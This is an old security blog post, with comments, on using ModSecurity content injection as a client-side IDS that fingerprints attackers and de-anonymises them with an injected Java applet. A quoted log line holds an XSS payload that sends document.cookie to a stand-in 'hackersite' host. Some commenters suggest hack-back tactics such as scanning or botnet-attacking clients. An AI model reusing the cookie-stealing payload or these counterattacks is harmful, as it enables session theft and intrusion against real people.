Content Injection - Hack the Hacker

Fri, 11 Apr 2008 13:52:19 GMT
by david-kierznowski

Traditional IDS/IPS systems occur at the network level, usually plugged into a spanning port on a switch. I love this concept and think it should be part of any defense in depth strategy. The two primary weaknesses in these devices are, (1) they cannot process encrypted streams and (2) they can often be circumvented with a little creativity. In this post I want to discuss using Client-Side IDS (C-IDS) for more advanced attack detection.

I don't know how realistic this would be but it could be fun concept to investigate. Imagine setting up modules on your reverse proxy. As user visits the site, different modules could get launched during different requests. One module could detect a user's browser plugins. One module could detect Tor and other services with Tor. Put the results into a hashing algorithm and you have a semi-unique client fingerprint regardless of IP address (although privacy laws could restrict these kinds of requests). OR, our reverse proxy could inject random code snippets of defense, overwriting and hijacking JavaScript functions (i.e. alert) with our own action (i.e. logging, blocking etc). Check out some of Mario's code snippets of defense for the idea: here, here, here, and here

So what benefits would a client-side IDS (C-IDS) provide?

  • Client side code is interoperable. This means it can be rapidly deployed across any number of networks;
  • Client side code works over encrypted sessions. We don't need to worry about SSL termination issues and reading into encrypted sessions;
  • Client side code allows us to hook into the user's browser where the attacks are happening. This gives us greater control and the possibility to detect advanced anti-filter attacks (obfuscation & polymorphism.);
  • Client side code allows us to attack the attacker. We could execute code to determine if the attacker is using Tor or any number of browser-related variables.

Basically, the same engine discussed for Web 2.0 worms could theoritically be used as an additional defense in depth tool. The latest version of ModSecurity (2.5) allows two new rules, "prepend" or "append". These rules allow us to insert HTML/text into our HTTP responses. This type of flexability opens an entire range of doors. Great stuff guys! Here's an example from ModSecurity Content Injection article:

The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.

SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:''"
SecRule RESPONSE_CONTENT_TYPE "^text/html"

So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this: - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=%3Cscript%3Edocument.write('%3Cimg%20src=%22http://hackersite/'+document.cookie+'%22')%3C/script%3E HTTP/1.1" 500 676 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP= HTTP/1.1" 404 207

As you can see, even though the IP address in the access_logs shows, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet). Attacker's computer -> Proxy -> Proxy -> etc... -> Target Website.

Archived Comments

I actually use this at the moment, I won't say what I do when some useless c*nt tries to hack the box, but it's pretty effective to say the least.
David, that is fun to think about, but most attacker's browsers (at least ones used in a serious attack) are stripped down of Java, javascript, flash and many other functionalities (many times even cookies). Torbutton is an example of an add-on for Firefox which tries to do this for an attacker automatically. A lot of blackhats bother compiling a separate browser to be their Tor browser. Keep in mind that anything client-side is in complete control of the attacker and can also be defeated with just a little bit of creativity.
Yousif YaldaYousif Yalda
Nice post, I agree with these methods. Now this is actual out-of-the-box thinking. Trapping the hacker scheme is always what I have in mind when implementing any type of IDS, specifically reducing the use of heavy technologies, and rather just applying what we already have customized in crafted requests in real-time. I'll too be discussing ways of IDS concepts on my blog soon, I'm working on a POC to release soon as well, good job man!
David KierznowskiDavid Kierznowski
Daniel, watch out for false positives :) xnull, I haven't actually heard of people doing this, although I have heard of peeps using a virtualised browser (i.e. VMWare etc). Yousif, thanks man, keep us posted on your blog progress, would be interesting to see what you come up with.
Awesome AnDrEwAwesome AnDrEw
Out of the hundreds or thousands of attacks I receive daily a large number of them are through wget, Perl, Java, and similar applications which have been automated. Very few are from legitimate clients, but I do find a lot of attempts from Firefox users' who then try to spoof their User-Agent. A great way to tell the difference between bots and humans who are using real browsers is that in most cases even if Java, Javascript, and other embedded entities are disabled there will be a significant number of requests for other resources such as images or stylesheets (though this also depends on both the type and amount of content on a page). Most automated attacks only target a specific page, and do not make subsequent requests for the material placed on the page. I've set up my own layered system for custom intrustion detection, but some of the more interesting concepts along the lines of what you've talked about, which I have come up with, include using CSRF or 302 redirections to pass off the traffic to another host (I believe the owner of Blue Hat SEO did this when his website was being attacked, and redirected all of the malicious traffic to the FBI's website), bombarding the user with advertisements (this would only apply to those illegitimate requests caused by individuals), scanning the client for vulnerabilities, or attacking the client with one's own botnet. The CSRF issue is probably the most entertaining due to all of the possibilities it entails.
Bharosa / Oracle OAAM too uses a client fingerprinting technology to identify threats
While looking like a nice (but not new) idea , I believe it completely failed , for various reasons : 1- The same reason/capability make serious hackers bypass your IDS/IPS , makes them bypass this one. 2-As xnull already mentioned , every mechanism used for security(defense or defeat) at client-side should be considered broken . No matter how complex or obfuscated it is , it`s broken . 3-Now days , even beginners has learned to live without JS in their browsers . So maybe another solution should be applied ? 4- Wise people doing web-app testing (or hacking)check web-servers responses as much as they do for requests ! So such a behavior could be catchd almost immediately by them. 5- If the hacker is still getting back-traced after these all , for sure s/he must be a script-kiddie not capable of doing anything serious . so just making more noise in logs . The goal should be reducing them as much as possible , to be able to use them effectively . right ? 6- Even if #5 didn`t matched your business and you think with #5 your web-app/server could still get hurted , then this solution or trick is not for you ! Best advice for such system IMO is to completely shut it down , and sleep well at nights :) finally , I love your blog , and am learning new ideas each time I visit it . keep the great job guys .